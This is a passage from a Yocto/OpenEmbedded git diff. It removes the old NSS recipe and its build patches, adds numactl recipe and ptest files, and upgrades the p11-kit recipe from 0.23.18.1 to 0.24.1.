-@@ -1,4 +1,4 @@
--#!/usr/local/bin/perl
-+#!/usr/bin/env perl
-
- # This Source Code Form is subject to the terms of the Mozilla Public
- # License, v. 2.0. If a copy of the MPL was not distributed with this
-diff --git a/nss/coreconf/cpdist.pl b/nss/coreconf/cpdist.pl
-index 800edfb..652187f 100755
---- a/nss/coreconf/cpdist.pl
-+++ b/nss/coreconf/cpdist.pl
-@@ -1,4 +1,4 @@
--#! /usr/local/bin/perl
-+#!/usr/bin/env perl
- #
- # This Source Code Form is subject to the terms of the Mozilla Public
- # License, v. 2.0. If a copy of the MPL was not distributed with this
-diff --git a/nss/coreconf/import.pl b/nss/coreconf/import.pl
-index dd2d177..428eaa5 100755
---- a/nss/coreconf/import.pl
-+++ b/nss/coreconf/import.pl
-@@ -1,4 +1,4 @@
--#! /usr/local/bin/perl
-+#!/usr/bin/env perl
- #
- # This Source Code Form is subject to the terms of the Mozilla Public
- # License, v. 2.0. If a copy of the MPL was not distributed with this
-diff --git a/nss/coreconf/jniregen.pl b/nss/coreconf/jniregen.pl
-index 2039180..5f4f69c 100755
---- a/nss/coreconf/jniregen.pl
-+++ b/nss/coreconf/jniregen.pl
-@@ -1,4 +1,4 @@
--#!/usr/local/bin/perl
-+#!/usr/bin/env perl
- #
- # This Source Code Form is subject to the terms of the Mozilla Public
- # License, v. 2.0. If a copy of the MPL was not distributed with this
-diff --git a/nss/coreconf/outofdate.pl b/nss/coreconf/outofdate.pl
-index 33d80bb..01fc097 100755
---- a/nss/coreconf/outofdate.pl
-+++ b/nss/coreconf/outofdate.pl
-@@ -1,4 +1,4 @@
--#!/usr/local/bin/perl
-+#!/usr/bin/env perl
- #
- # This Source Code Form is subject to the terms of the Mozilla Public
- # License, v. 2.0. If a copy of the MPL was not distributed with this
-diff --git a/nss/coreconf/release.pl b/nss/coreconf/release.pl
-index 7cde19d..b5df2f6 100755
---- a/nss/coreconf/release.pl
-+++ b/nss/coreconf/release.pl
-@@ -1,4 +1,4 @@
--#! /usr/local/bin/perl
-+#!/usr/bin/env perl
- #
- # This Source Code Form is subject to the terms of the Mozilla Public
- # License, v. 2.0. If a copy of the MPL was not distributed with this
-diff --git a/nss/coreconf/version.pl b/nss/coreconf/version.pl
-index d2a4942..79359fe 100644
---- a/nss/coreconf/version.pl
-+++ b/nss/coreconf/version.pl
-@@ -1,4 +1,4 @@
--#!/usr/sbin/perl
-+#!/usr/bin/env perl
- #
- # This Source Code Form is subject to the terms of the Mozilla Public
- # License, v. 2.0. If a copy of the MPL was not distributed with this
-diff --git a/nss/tests/clean_tbx b/nss/tests/clean_tbx
-index 4de9555..a7def9f 100755
---- a/nss/tests/clean_tbx
-+++ b/nss/tests/clean_tbx
-@@ -1,4 +1,4 @@
--#! /bin/perl
-+#!/usr/bin/env perl
-
- #######################################################################
- #
-diff --git a/nss/tests/path_uniq b/nss/tests/path_uniq
-index f29f60a..08fbffa 100755
---- a/nss/tests/path_uniq
-+++ b/nss/tests/path_uniq
-@@ -1,4 +1,4 @@
--#! /bin/perl
-+#!/usr/bin/env perl
-
- ########################################################################
- #
---
-1.8.1.2
-
diff --git a/meta/recipes-support/nss/nss/nss-fix-nsinstall-build.patch b/meta/recipes-support/nss/nss/nss-fix-nsinstall-build.patch
deleted file mode 100644
index 181c69adb0..0000000000
--- a/meta/recipes-support/nss/nss/nss-fix-nsinstall-build.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-Fix nss multilib build on openSUSE 11.x 32bit
-
-While building lib64-nss on openSUSE 11.x 32bit, the nsinstall will
-fail with error:
-
-* nsinstall.c:1:0: sorry, unimplemented: 64-bit mode not compiled
-
-It caused by the '-m64' option which passed to host gcc.
-
-The nsinstall was built first while nss starting to build, it only runs
-on host to install built files, it doesn't need any cross-compling or
-multilib build options. Just clean the ARCHFLAG and LDFLAGS to fix this
-error.
-
-Upstream-Status: Pending
-
-Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
-===================================================
-Index: nss-3.24/nss/coreconf/nsinstall/Makefile
-===================================================================
---- nss-3.24.orig/nss/coreconf/nsinstall/Makefile
-+++ nss-3.24/nss/coreconf/nsinstall/Makefile
-@@ -18,6 +18,13 @@ INTERNAL_TOOLS = 1
-
- include $(DEPTH)/coreconf/config.mk
-
-+# nsinstall is unfit for cross-compiling/multilib-build since it was
-+# always run on local host to install built files. This change intends
-+# to clean the '-m64' from ARCHFLAG and LDFLAGS.
-+ARCHFLAG =
-+LDFLAGS =
-+CFLAGS =
-+
- ifeq (,$(filter-out OS2 WIN%,$(OS_TARGET)))
- PROGRAM =
- else
diff --git a/meta/recipes-support/nss/nss/nss-no-rpath-for-cross-compiling.patch b/meta/recipes-support/nss/nss/nss-no-rpath-for-cross-compiling.patch
deleted file mode 100644
index 7661dc93a0..0000000000
--- a/meta/recipes-support/nss/nss/nss-no-rpath-for-cross-compiling.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-nss:no rpath for cross compiling
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Upstream-Status: Inappropriate [configuration]
----
- nss/cmd/platlibs.mk | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/nss/cmd/platlibs.mk b/nss/cmd/platlibs.mk
---- a/nss/cmd/platlibs.mk
-+++ b/nss/cmd/platlibs.mk
-@@ -18,9 +18,9 @@ endif
-
- ifeq ($(OS_ARCH), Linux)
- ifeq ($(USE_64), 1)
--EXTRA_SHARED_LIBS += -Wl,-rpath,'$$ORIGIN/../lib64:/opt/sun/private/lib64:$$ORIGIN/../lib'
-+#EXTRA_SHARED_LIBS += -Wl,-rpath,'$$ORIGIN/../lib64:/opt/sun/private/lib64:$$ORIGIN/../lib'
- else
--EXTRA_SHARED_LIBS += -Wl,-rpath,'$$ORIGIN/../lib:/opt/sun/private/lib'
-+#EXTRA_SHARED_LIBS += -Wl,-rpath,'$$ORIGIN/../lib:/opt/sun/private/lib'
- endif
- endif
-
---
-1.8.1.2
-
diff --git a/meta/recipes-support/nss/nss/nss.pc.in b/meta/recipes-support/nss/nss/nss.pc.in
deleted file mode 100644
index 200f635c65..0000000000
--- a/meta/recipes-support/nss/nss/nss.pc.in
+++ /dev/null
@@ -1,11 +0,0 @@
-prefix=OEPREFIX
-exec_prefix=OEEXECPREFIX
-libdir=OELIBDIR
-includedir=OEINCDIR
-
-Name: NSS
-Description: Network Security Services
-Version: %NSS_VERSION%
-Requires: nspr >= %NSPR_VERSION%
-Libs: -lssl3 -lsmime3 -lnss3 -lsoftokn3 -lnssutil3
-Cflags: -IOEINCDIR
diff --git a/meta/recipes-support/nss/nss/pqg.c-ULL_addend.patch b/meta/recipes-support/nss/nss/pqg.c-ULL_addend.patch
deleted file mode 100644
index 3a817faaa6..0000000000
--- a/meta/recipes-support/nss/nss/pqg.c-ULL_addend.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-nss does not build on mips with clang because wrong types are used?
-
-pqg.c:339:16: error: comparison of constant 18446744073709551615 with expression of type 'unsigned long' is always true [-Werror,-Wtautological-constant-out-of-range-compare]
- if (addend < MP_DIGIT_MAX) {
- ~~~~~~ ^ ~~~~~~~~~~~~
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-Index: nss-3.37.1/nss/lib/freebl/pqg.c
-===================================================================
---- nss-3.37.1.orig/nss/lib/freebl/pqg.c
-+++ nss-3.37.1/nss/lib/freebl/pqg.c
-@@ -326,8 +326,8 @@ generate_h_candidate(SECItem *hit, mp_in
-
- static SECStatus
- addToSeed(const SECItem *seed,
-- unsigned long addend,
-- int seedlen, /* g in 186-1 */
-+ unsigned long long addend,
-+ int seedlen, /* g in 186-1 */
- SECItem *seedout)
- {
- mp_int s, sum, modulus, tmp;
diff --git a/meta/recipes-support/nss/nss/signlibs.sh b/meta/recipes-support/nss/nss/signlibs.sh
deleted file mode 100644
index a74e499f8c..0000000000
--- a/meta/recipes-support/nss/nss/signlibs.sh
+++ /dev/null
@@ -1,20 +0,0 @@
-#!/bin/sh
-
-# signlibs.sh
-#
-# (c)2010 Wind River Systems, Inc.
-#
-# regenerates the .chk files for the NSS libraries that require it
-# since the ones that are built have incorrect checksums that were
-# calculated on the host where they really need to be done on the
-# target
-
-CHK_FILES=`ls /lib*/*.chk /usr/lib*/*.chk 2>/dev/null`
-SIGN_BINARY=`which shlibsign`
-for I in $CHK_FILES
-do
- DN=`dirname $I`
- BN=`basename $I .chk`
- FN=$DN/$BN.so
- $SIGN_BINARY -i $FN
-done
diff --git a/meta/recipes-support/nss/nss/system-pkcs11.txt b/meta/recipes-support/nss/nss/system-pkcs11.txt
deleted file mode 100644
index 1a264e9cc4..0000000000
--- a/meta/recipes-support/nss/nss/system-pkcs11.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-library=
-name=NSS Internal PKCS #11 Module
-parameters=configdir='sql:/etc/pki/nssdb' certPrefix='' keyPrefix='' secmod='secmod.db' flags= updatedir='' updateCertPrefix='' updateKeyPrefix='' updateid='' updateTokenDescription=''
-NSS=Flags=internal,critical trustOrder=75 cipherOrder=100 slotParams=(1={slotFlags=[ECC,RSA,DSA,DH,RC2,RC4,DES,RANDOM,SHA1,MD5,MD2,SSL,TLS,AES,Camellia,SEED,SHA256,SHA512] askpw=any timeout=30})
-
diff --git a/meta/recipes-support/nss/nss_3.45.bb b/meta/recipes-support/nss/nss_3.45.bb
deleted file mode 100644
index e89e7d69d5..0000000000
--- a/meta/recipes-support/nss/nss_3.45.bb
+++ /dev/null
@@ -1,267 +0,0 @@
-SUMMARY = "Mozilla's SSL and TLS implementation"
-DESCRIPTION = "Network Security Services (NSS) is a set of libraries \
-designed to support cross-platform development of \
-security-enabled client and server applications. \
-Applications built with NSS can support SSL v2 and v3, \
-TLS, PKCS 5, PKCS 7, PKCS 11, PKCS 12, S/MIME, X.509 \
-v3 certificates, and other security standards."
-HOMEPAGE = "http://www.mozilla.org/projects/security/pki/nss/"
-SECTION = "libs"
-
-DEPENDS = "sqlite3 nspr zlib nss-native"
-DEPENDS_class-native = "sqlite3-native nspr-native zlib-native"
-
-LICENSE = "MPL-2.0 | (MPL-2.0 & GPL-2.0+) | (MPL-2.0 & LGPL-2.1+)"
-
-LIC_FILES_CHKSUM = "file://nss/COPYING;md5=3b1e88e1b9c0b5a4b2881d46cce06a18 \
- file://nss/lib/freebl/mpi/doc/LICENSE;md5=491f158d09d948466afce85d6f1fe18f \
- file://nss/lib/freebl/mpi/doc/LICENSE-MPL;md5=5d425c8f3157dbf212db2ec53d9e5132"
-
-VERSION_DIR = "${@d.getVar('BP').upper().replace('-', '_').replace('.', '_') + '_RTM'}"
-
-SRC_URI = "http://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/${VERSION_DIR}/src/${BP}.tar.gz \
- file://nss.pc.in \
- file://signlibs.sh \
- file://0001-nss-fix-support-cross-compiling.patch \
- file://nss-no-rpath-for-cross-compiling.patch \
- file://nss-fix-incorrect-shebang-of-perl.patch \
- file://nss-fix-nsinstall-build.patch \
- file://disable-Wvarargs-with-clang.patch \
- file://pqg.c-ULL_addend.patch \
- file://blank-cert9.db \
- file://blank-key4.db \
- file://system-pkcs11.txt \
- "
-
-SRC_URI[md5sum] = "f1752d7223ee9d910d551e57264bafa8"
-SRC_URI[sha256sum] = "112f05223d1fde902c170966bfc6f011b24a838be16969b110ecf2bb7bc24e8b"
-
-UPSTREAM_CHECK_URI = "https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/NSS_Releases"
-UPSTREAM_CHECK_REGEX = "NSS_(?P<pver>.+)_release_notes"
-
-inherit siteinfo
-
-TD = "${S}/tentative-dist"
-TDS = "${S}/tentative-dist-staging"
-
-TARGET_CC_ARCH += "${LDFLAGS}"
-
-do_configure_prepend_libc-musl () {
- sed -i -e '/-DHAVE_SYS_CDEFS_H/d' ${S}/nss/lib/dbm/config/config.mk
-}
-
-do_compile_prepend_class-native() {
- export NSPR_INCLUDE_DIR=${STAGING_INCDIR_NATIVE}
- export NSPR_LIB_DIR=${STAGING_LIBDIR_NATIVE}
- export NSS_ENABLE_WERROR=0
-}
-
-do_compile_prepend_class-nativesdk() {
- export LDFLAGS=""
-}
-
-do_compile_prepend_class-native() {
- # Need to set RPATH so that chrpath will do its job correctly
- RPATH="-Wl,-rpath-link,${STAGING_LIBDIR_NATIVE} -Wl,-rpath-link,${STAGING_BASE_LIBDIR_NATIVE} -Wl,-rpath,${STAGING_LIBDIR_NATIVE} -Wl,-rpath,${STAGING_BASE_LIBDIR_NATIVE}"
-}
-
-do_compile() {
- export CROSS_COMPILE=1
- export NATIVE_CC="${BUILD_CC}"
- export NATIVE_FLAGS="${BUILD_CFLAGS}"
- export BUILD_OPT=1
-
- export FREEBL_NO_DEPEND=1
- export FREEBL_LOWHASH=1
-
- export LIBDIR=${libdir}
- export MOZILLA_CLIENT=1
- export NS_USE_GCC=1
- export NSS_USE_SYSTEM_SQLITE=1
- export NSS_ENABLE_ECC=1
-
- export OS_RELEASE=3.4
- export OS_TARGET=Linux
- export OS_ARCH=Linux
-
- if [ "${TARGET_ARCH}" = "powerpc" ]; then
- OS_TEST=ppc
- elif [ "${TARGET_ARCH}" = "powerpc64" ]; then
- OS_TEST=ppc64
- elif [ "${TARGET_ARCH}" = "mips" -o "${TARGET_ARCH}" = "mipsel" -o "${TARGET_ARCH}" = "mips64" -o "${TARGET_ARCH}" = "mips64el" ]; then
- OS_TEST=mips
- elif [ "${TARGET_ARCH}" = "aarch64_be" ]; then
- OS_TEST="aarch64"
- else
- OS_TEST="${TARGET_ARCH}"
- fi
-
- if [ "${SITEINFO_BITS}" = "64" ]; then
- export USE_64=1
- elif [ "${TARGET_ARCH}" = "x86_64" -a "${SITEINFO_BITS}" = "32" ]; then
- export USE_X32=1
- fi
-
- export NSS_DISABLE_GTESTS=1
-
- # We can modify CC in the environment, but if we set it via an
- # argument to make, nsinstall, a host program, will also build with it!
- #
- # nss pretty much does its own thing with CFLAGS, so we put them into CC.
- # Optimization will get clobbered, but most of the stuff will survive.
- # The motivation for this is to point to the correct place for debug
- # source files and CFLAGS does that. Nothing uses CCC.
- #
- export CC="${CC} ${CFLAGS}"
- make -C ./nss CCC="${CXX} -g" \
- OS_TEST=${OS_TEST} \
- RPATH="${RPATH}"
-}
-
-do_compile[vardepsexclude] += "SITEINFO_BITS"
-
-do_install_prepend_class-nativesdk() {
- export LDFLAGS=""
-}
-
-do_install() {
- export CROSS_COMPILE=1
- export NATIVE_CC="${BUILD_CC}"
- export BUILD_OPT=1
-
- export FREEBL_NO_DEPEND=1
-
- export LIBDIR=${libdir}
- export MOZILLA_CLIENT=1
- export NS_USE_GCC=1
- export NSS_USE_SYSTEM_SQLITE=1
- export NSS_ENABLE_ECC=1
-
- export OS_RELEASE=3.4
- export OS_TARGET=Linux
- export OS_ARCH=Linux
-
- if [ "${TARGET_ARCH}" = "powerpc" ]; then
- OS_TEST=ppc
- elif [ "${TARGET_ARCH}" = "powerpc64" ]; then
- OS_TEST=ppc64
- elif [ "${TARGET_ARCH}" = "mips" -o "${TARGET_ARCH}" = "mipsel" -o "${TARGET_ARCH}" = "mips64" -o "${TARGET_ARCH}" = "mips64el" ]; then
- OS_TEST=mips
- elif [ "${TARGET_ARCH}" = "aarch64_be" ]; then
- CPU_ARCH=aarch64
- OS_TEST="aarch64"
- else
- OS_TEST="${TARGET_ARCH}"
- fi
- if [ "${SITEINFO_BITS}" = "64" ]; then
- export USE_64=1
- elif [ "${TARGET_ARCH}" = "x86_64" -a "${SITEINFO_BITS}" = "32" ]; then
- export USE_X32=1
- fi
-
- export NSS_DISABLE_GTESTS=1
-
- make -C ./nss \
- CCC="${CXX}" \
- OS_TEST=${OS_TEST} \
- SOURCE_LIB_DIR="${TD}/${libdir}" \
- SOURCE_BIN_DIR="${TD}/${bindir}" \
- install
-
- install -d ${D}/${libdir}/
- for file in ${S}/dist/*.OBJ/lib/*.so; do
- echo "Installing `basename $file`..."
- cp $file ${D}/${libdir}/
- done
-
- for shared_lib in ${TD}/${libdir}/*.so.*; do
- if [ -f $shared_lib ]; then
- cp $shared_lib ${D}/${libdir}
- ln -sf $(basename $shared_lib) ${D}/${libdir}/$(basename $shared_lib .1oe)
- fi
- done
- for shared_lib in ${TD}/${libdir}/*.so; do
- if [ -f $shared_lib -a ! -e ${D}/${libdir}/$shared_lib ]; then
- cp $shared_lib ${D}/${libdir}
- fi
- done
-
- install -d ${D}/${includedir}/nss3
- install -m 644 -t ${D}/${includedir}/nss3 dist/public/nss/*
-
- install -d ${D}/${bindir}
- for binary in ${TD}/${bindir}/*; do
- install -m 755 -t ${D}/${bindir} $binary
- done
-}
-
-do_install[vardepsexclude] += "SITEINFO_BITS"
-
-do_install_append() {
- # Create empty .chk files for the NSS libraries at build time. They could
- # be regenerated at target's boot time.
- for file in libsoftokn3.chk libfreebl3.chk libnssdbm3.chk; do
- touch ${D}/${libdir}/$file
- chmod 755 ${D}/${libdir}/$file
- done
- install -D -m 755 ${WORKDIR}/signlibs.sh ${D}/${bindir}/signlibs.sh
-
- install -d ${D}${libdir}/pkgconfig/
- sed 's/%NSS_VERSION%/${PV}/' ${WORKDIR}/nss.pc.in | sed 's/%NSPR_VERSION%/4.9.2/' > ${D}${libdir}/pkgconfig/nss.pc
- sed -i s:OEPREFIX:${prefix}:g ${D}${libdir}/pkgconfig/nss.pc
- sed -i s:OEEXECPREFIX:${exec_prefix}:g ${D}${libdir}/pkgconfig/nss.pc
- sed -i s:OELIBDIR:${libdir}:g ${D}${libdir}/pkgconfig/nss.pc
- sed -i s:OEINCDIR:${includedir}/nss3:g ${D}${libdir}/pkgconfig/nss.pc
-}
-
-do_install_append_class-target() {
- # It used to call certutil to create a blank certificate with empty password at
- # build time, but the checksum of key4.db changes every time when certutil is called.
- # It causes non-determinism issue, so provide databases with a blank certificate
- # which are originally from output of nss in qemux86-64 build. You can get these
- # databases by:
- # certutil -N -d sql:/database/path/ --empty-password
- install -d ${D}${sysconfdir}/pki/nssdb/
- install -m 0644 ${WORKDIR}/blank-cert9.db ${D}${sysconfdir}/pki/nssdb/cert9.db
- install -m 0644 ${WORKDIR}/blank-key4.db ${D}${sysconfdir}/pki/nssdb/key4.db
- install -m 0644 ${WORKDIR}/system-pkcs11.txt ${D}${sysconfdir}/pki/nssdb/pkcs11.txt
-}
-
-PACKAGE_WRITE_DEPS += "nss-native"
-pkg_postinst_${PN} () {
- if [ -n "$D" ]; then
- for I in $D${libdir}/lib*.chk; do
- DN=`dirname $I`
- BN=`basename $I .chk`
- FN=$DN/$BN.so
- shlibsign -i $FN
- if [ $? -ne 0 ]; then
- exit 1
- fi
- done
- else
- signlibs.sh
- fi
-}
-
-PACKAGES =+ "${PN}-smime"
-FILES_${PN}-smime = "\
- ${bindir}/smime \
-"
-
-FILES_${PN} = "\
- ${sysconfdir} \
- ${bindir} \
- ${libdir}/lib*.chk \
- ${libdir}/lib*.so \
- "
-
-FILES_${PN}-dev = "\
- ${libdir}/nss \
- ${libdir}/pkgconfig/* \
- ${includedir}/* \
- "
-
-RDEPENDS_${PN}-smime = "perl"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/numactl/numactl/0001-define-run-test-target.patch b/meta/recipes-support/numactl/numactl/0001-define-run-test-target.patch
new file mode 100644
index 0000000000..9e65a45133
--- /dev/null
+++ b/meta/recipes-support/numactl/numactl/0001-define-run-test-target.patch
@@ -0,0 +1,32 @@
+rename test target as run-test
+
+Upstream-Status: Pending
+
+test target not only compile the test files, but also run them, which is
+not suitable for cross-compile environment, so rename it as run-test.
+
+and define test target to compile the test files.
+
+Signed-off-by: Roy Li <rongqing.li@windriver.com>
+---
+ Makefile.am | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index b6db339..de176c4 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -124,7 +124,9 @@ regress2: $(check_PROGRAMS)
+ test_numademo: numademo
+ ./numademo -t -e 10M
+
+-test: all $(check_PROGRAMS) regress1 regress2 test_numademo
++test: all $(check_PROGRAMS)
++
++run-test: all $(check_PROGRAMS) regress1 regress2 test_numademo
+
+ TESTS_ENVIRONMENT = builddir='$(builddir)'; export builddir;
+
+--
+1.9.1
+
diff --git a/meta/recipes-support/numactl/numactl/Fix-the-test-output-format.patch b/meta/recipes-support/numactl/numactl/Fix-the-test-output-format.patch
new file mode 100644
index 0000000000..9812ecc8b3
--- /dev/null
+++ b/meta/recipes-support/numactl/numactl/Fix-the-test-output-format.patch
@@ -0,0 +1,64 @@
+From 59fd750a84bbe5874dec936d2bee9ef11a1b6505 Mon Sep 17 00:00:00 2001
+From: Li xin <lixin.fnst@cn.fujitsu.com>
+Date: Tue, 21 Jul 2015 02:01:22 +0900
+Subject: [PATCH] Fix the test output format
+
+Upstream-Status: Pending
+
+Signed-off-by: Roy Li <rongqing.li@windriver.com>
+Signed-off-by: Li Xin <lixin.fnst@cn.fujitsu.com>
+---
+ test/regress | 6 +++---
+ test/regress2 | 11 +++++------
+ 2 files changed, 8 insertions(+), 9 deletions(-)
+
+diff --git a/test/regress b/test/regress
+index 2ce1705..d086a47 100755
+--- a/test/regress
++++ b/test/regress
+@@ -74,6 +74,7 @@ probe_hardware()
+ if [ $numnodes -lt 2 ] ; then
+ echo "need at least two nodes with at least $NEEDPAGES each of"
+ echo "free memory for mempolicy regression tests"
++ echo "FAIL: numa regress"
+ exit 77 # Skip test
+ fi
+ }
+@@ -207,10 +208,9 @@ main()
+ rm A B
+
+ if [ "$EXIT" = 0 ] ; then
+- echo '========SUCCESS'
++ echo 'PASS: numactl regress'
+ else
+- echo '========FAILURE'
+- exit 1
++ echo 'FAIL: numactl regress'
+ fi
+ }
+
+diff --git a/test/regress2 b/test/regress2
+index aa6ea41..450c510 100755
+--- a/test/regress2
++++ b/test/regress2
+@@ -9,12 +9,11 @@ testdir=`dirname "$0"`
+ export PATH=${builddir}:$PATH
+
+ T() {
+- echo "$@"
+- if ! $VALGRIND "$@" ; then
+- echo $1 FAILED!!!!
+- exit 1
+- fi
+- echo
++ if ! $VALGRIND "$@" 2>&1 1>/dev/null; then
++ echo "FAIL: $1"
++ else
++ echo "PASS: $1"
++ fi
+ }
+
+ # still broken
+--
+1.8.4.2
+
diff --git a/meta/recipes-support/numactl/numactl/Makefile b/meta/recipes-support/numactl/numactl/Makefile
new file mode 100644
index 0000000000..9a5134c3f2
--- /dev/null
+++ b/meta/recipes-support/numactl/numactl/Makefile
@@ -0,0 +1,7 @@
+.PHONY: regress1 regress2
+
+regress1:
+ cd test ; ./regress
+
+regress2:
+ cd test ; ./regress2
diff --git a/meta/recipes-support/numactl/numactl/run-ptest b/meta/recipes-support/numactl/numactl/run-ptest
new file mode 100755
index 0000000000..bf269da755
--- /dev/null
+++ b/meta/recipes-support/numactl/numactl/run-ptest
@@ -0,0 +1,23 @@
+#!/bin/sh
+
+# If there is numa support, run the tests. Otherwise skip all the tests.
+# Ideally the skipping would happen by the upstream tests.
+if ! numactl -s | grep -q "No NUMA support available on this system."; then
+ make regress1
+ make regress2
+ if numademo -t -e 10M; then
+ echo "PASS: numademo"
+ else
+ echo "FAIL: numademo"
+ fi
+else
+ echo "SKIP: ./../test/bind_range"
+ echo "SKIP: ./../test/checkaffinity"
+ echo "SKIP: ./../test/checktopology"
+ echo "SKIP: ./../test/distance"
+ echo "SKIP: ./../test/nodemap"
+ echo "SKIP: ./../test/tbitmap"
+ echo "SKIP: numactl_regress"
+ echo "SKIP: numademo"
+fi
+
diff --git a/meta/recipes-support/numactl/numactl_git.bb b/meta/recipes-support/numactl/numactl_git.bb
new file mode 100644
index 0000000000..93547ea239
--- /dev/null
+++ b/meta/recipes-support/numactl/numactl_git.bb
@@ -0,0 +1,59 @@
+SUMMARY = "Development package for building Applications that use numa"
+HOMEPAGE = "http://oss.sgi.com/projects/libnuma/"
+DESCRIPTION = "Simple NUMA policy support. It consists of a numactl program \
+to run other programs with a specific NUMA policy and a libnuma to do \
+allocations with NUMA policy in applications."
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
+SECTION = "apps"
+
+inherit autotools-brokensep ptest
+
+LIC_FILES_CHKSUM = "file://README.md;beginline=19;endline=32;md5=f8ff2391624f28e481299f3f677b21bb"
+
+SRCREV = "dd6de072c92c892a86e18c0fd0dfa1ba57a9a05d"
+PV = "2.0.14"
+
+SRC_URI = "git://github.com/numactl/numactl;branch=master;protocol=https \
+ file://Fix-the-test-output-format.patch \
+ file://Makefile \
+ file://run-ptest \
+ file://0001-define-run-test-target.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+LDFLAGS:append:riscv64 = " -latomic"
+LDFLAGS:append:riscv32 = " -latomic"
+
+do_install() {
+ oe_runmake DESTDIR=${D} prefix=${D}/usr install
+ #remove the empty man2 directory
+ rm -r ${D}${mandir}/man2
+}
+
+do_compile_ptest() {
+ oe_runmake test
+}
+
+do_install_ptest() {
+ #install tests binaries
+ local test_binaries="distance ftok mbind_mig_pages migrate_pages move_pages \
+ mynode nodemap node-parse pagesize prefered randmap realloc_test \
+ tbitmap tshared"
+
+ [ ! -d ${D}/${PTEST_PATH}/test ] && mkdir -p ${D}/${PTEST_PATH}/test
+ for i in $test_binaries; do
+ install -m 0755 ${B}/test/.libs/$i ${D}${PTEST_PATH}/test
+ done
+
+ local test_scripts="checktopology checkaffinity printcpu regress regress2 \
+ shmtest runltp bind_range"
+ for i in $test_scripts; do
+ install -m 0755 ${B}/test/$i ${D}${PTEST_PATH}/test
+ done
+
+ install -m 0755 ${WORKDIR}/Makefile ${D}${PTEST_PATH}/
+ install -m 0755 ${B}/.libs/numactl ${D}${PTEST_PATH}/
+}
+
+RDEPENDS:${PN}-ptest = "bash"
diff --git a/meta/recipes-support/p11-kit/p11-kit_0.23.18.1.bb b/meta/recipes-support/p11-kit/p11-kit_0.23.18.1.bb
deleted file mode 100644
index 9193a06ea8..0000000000
--- a/meta/recipes-support/p11-kit/p11-kit_0.23.18.1.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Provides a way to load and enumerate PKCS#11 modules"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=02933887f609807fbb57aa4237d14a50"
-
-inherit autotools gettext pkgconfig gtk-doc
-
-DEPENDS = "libtasn1 libffi"
-
-SRC_URI = "git://github.com/p11-glue/p11-kit"
-SRCREV = "b0ebe7555c291808db29377ba79cb8326301f0a6"
-S = "${WORKDIR}/git"
-
-AUTOTOOLS_AUXDIR = "${S}/build/litter"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[trust-paths] = "--with-trust-paths=/etc/ssl/certs/ca-certificates.crt,--without-trust-paths,,ca-certificates"
-
-# This recipe does not use the standard gtk-doc m4 macros, and so the ./configure flags
-# that control gtk-doc build are non-standard
-EXTRA_OECONF_prepend_class-target = "${@bb.utils.contains('GTKDOC_ENABLED', 'True', '--enable-doc --enable-doc-html --disable-doc-pdf', \
- '--disable-doc', d)} "
-
-# When building native recipes, disable gtkdoc, as it is not necessary,
-# pulls in additional dependencies, and makes build times longer
-EXTRA_OECONF_prepend_class-native = "--disable-doc "
-EXTRA_OECONF_prepend_class-nativesdk = "--disable-doc "
-
-UNKNOWN_CONFIGURE_WHITELIST_append = " --enable-gtk-doc-html --disable-gtk-doc-pdf --enable-gtk-doc --disable-gtk-doc"
-
-# p11-kit relies on these two being copied from source tree
-# instead of being regenerated by gtkdoc-scan, but doesn't setup
-# dependencies correctly when there is a parallel build. Let's pre-copy
-# them instead.
-do_compile_prepend () {
- cp ${S}/doc/manual/p11-kit-overrides.txt ${S}/doc/manual/p11-kit-sections.txt ${B}/doc/manual/
-}
-
-FILES_${PN} += " \
- ${libdir}/p11-kit-proxy.so \
- ${libdir}/pkcs11/*.so \
- ${libdir}/pkcs11/*.la"
-
-# PN contains p11-kit-proxy.so, a symlink to a loadable module
-INSANE_SKIP_${PN} = "dev-so"
diff --git a/meta/recipes-support/p11-kit/p11-kit_0.24.1.bb b/meta/recipes-support/p11-kit/p11-kit_0.24.1.bb
new file mode 100644
index 0000000000..59cbb67961
--- /dev/null
+++ b/meta/recipes-support/p11-kit/p11-kit_0.24.1.bb
@@ -0,0 +1,32 @@
+SUMMARY = "Provides a way to load and enumerate PKCS#11 modules"
+DESCRIPTION = " Provides a standard configuration setup for installing PKCS#11 modules in such a way that they're discoverable. Also solves problems with coordinating the use of PKCS#11 by different components or libraries living in the same process."
+HOMEPAGE = "https://p11-glue.github.io/p11-glue/p11-kit.html"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=02933887f609807fbb57aa4237d14a50"
+
+inherit meson gettext pkgconfig gtk-doc bash-completion manpages
+
+DEPENDS = "libtasn1 libtasn1-native libffi"
+
+DEPENDS:append = "${@' glib-2.0' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
+
+SRC_URI = "git://github.com/p11-glue/p11-kit;branch=master;protocol=https"
+SRCREV = "dd0590d4e583f107e3e9fafe9ed754149da335d0"
+S = "${WORKDIR}/git"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native"
+PACKAGECONFIG[trust-paths] = "-Dtrust_paths=/etc/ssl/certs/ca-certificates.crt,,,ca-certificates"
+
+GTKDOC_MESON_OPTION = 'gtk_doc'
+
+FILES:${PN} += " \
+ ${libdir}/p11-kit-proxy.so \
+ ${libdir}/pkcs11/*.so \
+ ${libdir}/pkcs11/*.la \
+ ${systemd_user_unitdir}/*"
+
+# PN contains p11-kit-proxy.so, a symlink to a loadable module
